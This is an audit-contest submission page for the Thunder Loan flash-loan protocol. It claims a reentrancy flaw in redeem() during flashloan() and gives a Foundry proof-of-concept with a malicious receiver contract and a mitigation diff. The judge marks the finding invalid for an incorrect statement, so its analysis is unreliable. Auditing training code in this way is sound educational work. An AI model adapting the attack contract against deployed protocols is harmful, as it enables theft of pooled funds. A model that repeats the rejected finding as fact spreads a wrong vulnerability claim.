Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Malicious flashloan receiver reenters redeem() at the pre-inflated exchange rate and extracts pool underlying mid-loan

Malicious flashloan receiver reenters redeem() at the pre-inflated exchange rate and extracts pool underlying mid-loan

Description

  • Normal behavior: flashloan() computes the fee, updates the AssetToken exchange rate, transfers the principal and only then invokes the receiver's executeOperation(); the ending-balance check at the end enforces repayment.

  • Specific issue: assetToken.updateExchangeRate(fee) (ThunderLoan.sol:194) is committed to state BEFORE the untrusted callback (:201-210), and s_currentlyFlashLoaning (:198) guards ONLY repay() (:219-225); redeem() (:161-178) and deposit() (:147-156) never check it, so a malicious receiver reenters redeem() inside executeOperation() and burns its AssetTokens at the already-inflated rate, pulling underlying out of the pool while the loan is still outstanding.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
uint256 fee = getCalculatedFee(token, amount); // :192
@> assetToken.updateExchangeRate(fee); // :194 rate committed BEFORE callback
s_currentlyFlashLoaning[token] = true; // :198 guards ONLY repay()
transferUnderlyingTo(receiverAddress, token, amount); // :199 principal out
@> receiverAddress.functionCall(abi.encodeCall(IFlashLoanReceiver.executeOperation, (token, amount, fee, msg.sender, params))); // :201-210 untrusted window
uint256 endingBalance = IERC20(token).balanceOf(address(assetToken)); // :212
if (endingBalance < startingBalance + fee) revert ThunderLoan__NotPaidBack(...); // :213-215
}
@> function redeem(IERC20 token, uint256 amountOfAssetToken) public returns (bool) // :161 — NO in-flight check

Risk

Likelihood:

  • The attacker deploys a malicious IFlashLoanReceiver and calls flashloan() directly — no privileges, no market conditions, only a minimal prior deposit to hold AssetTokens.

  • The window opens on every flashloan: the rate bump always precedes the callback and redeem() never checks s_currentlyFlashLoaning.

Impact:

  • Pool underlying leaves mid-loan at the inflated rate: the verified Foundry PoC extracts 1.002991 WETH against a 1 WETH attacker deposit (excess 0.002991 WETH, scaling with loan size and fee).

  • The ending-balance invariant holds only because the attacker chooses to return the funds; the same window allows deposit() reentry and stacked flashloans, compounding exchange-rate manipulation across all depositors.

Proof of Concept

Explanation: the test deploys ThunderLoan behind a UUPS proxy; a victim provides 1000 WETH of liquidity; the attacker contract deposits only 1 WETH to obtain AssetTokens, then borrows 997 WETH via flashloan(). Inside executeOperation() — after updateExchangeRate(fee) has already bumped the rate at :194 but before repayment — it calls redeem() for its full AssetToken balance. Because redeem() never checks s_currentlyFlashLoaning, the call succeeds and pays out 1.002991 WETH (more than the attacker's entire 1 WETH deposit) at the inflated rate. The receiver then repays principal+fee and tops the pool back up so the ending-balance check passes — proving the extraction happened mid-loan and was reversed only by the attacker's own choice. Verified: forge test --match-path test/ReentrancyFlashloan.t.sol -vv => 2 PASS, 0 FAIL.

contract MaliciousRedeemingReceiver is IFlashLoanReceiver {
ThunderLoan private immutable i_thunderLoan;
MockERC20 private immutable i_token;
uint256 public s_redeemed;
bool public s_redeemSucceeded;
constructor(address thunderLoan, MockERC20 token) {
i_thunderLoan = ThunderLoan(thunderLoan);
i_token = token;
}
function attack(uint256 depositAmount, uint256 flashLoanAmount) external {
i_token.approve(address(i_thunderLoan), type(uint256).max);
i_thunderLoan.deposit(i_token, depositAmount); // obtain AssetTokens
i_thunderLoan.flashloan(address(this), i_token, flashLoanAmount, "");
}
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
// Runs AFTER updateExchangeRate(fee) (:194), BEFORE repayment.
// redeem() has NO s_currentlyFlashLoaning guard -> reentry succeeds.
uint256 before = i_token.balanceOf(address(this));
i_thunderLoan.redeem(IERC20(token), type(uint256).max); // burn at inflated rate
s_redeemed = i_token.balanceOf(address(this)) - before; // = 1.002991e18
s_redeemSucceeded = true;
i_thunderLoan.repay(IERC20(token), amount + fee); // settle the loan
i_token.transfer(address(i_thunderLoan.getAssetFromToken(IERC20(token))), s_redeemed); // top-up so ending-check passes
return true;
}
}
contract ReentrancyFlashloanTest is Test {
// setUp: MockTSwapPool(1e18) + MockPoolFactory; ThunderLoan behind ERC1967Proxy
// + initialize(); setAllowedToken(WETH); victim deposits 1000e18; receiver prefunded 5e18.
function test_reentrancyRedeemDuringFlashloanAtInflatedRate() public {
s_attacker.attack(1e18, 997e18); // deposit 1, borrow 997 WETH
assertTrue(s_attacker.s_redeemSucceeded()); // redeem ran mid-loan
assertGt(s_attacker.s_redeemed(), 1e18); // 1.002991 WETH out > 1 WETH in
assertFalse(s_thunderLoan.isCurrentlyFlashLoaning(s_token)); // loan settled green
}
}

Recommended Mitigation

Explanation: moving updateExchangeRate(fee) to after the callback and repayment restores checks-effects-interactions, so the exchange rate can no longer be observed or exploited in an inflated state while the loan is outstanding. Adding the s_currentlyFlashLoaning guard to redeem() (and deposit()) closes the reentrancy window entirely, mirroring the protection repay() already has. Together they ensure no fee-dependent state is committed while untrusted code executes.

--- a/src/protocol/ThunderLoan.sol
+++ b/src/protocol/ThunderLoan.sol
@@ flashloan() @@
uint256 fee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(fee);
s_currentlyFlashLoaning[token] = true;
transferUnderlyingTo(receiverAddress, token, amount);
// ... untrusted executeOperation callback ...
+ // CEI: commit the exchange rate only AFTER callback + repayment
+ assetToken.updateExchangeRate(fee);
@@ redeem() @@
function redeem(IERC20 token, uint256 amountOfAssetToken) public returns (bool) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning(token);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!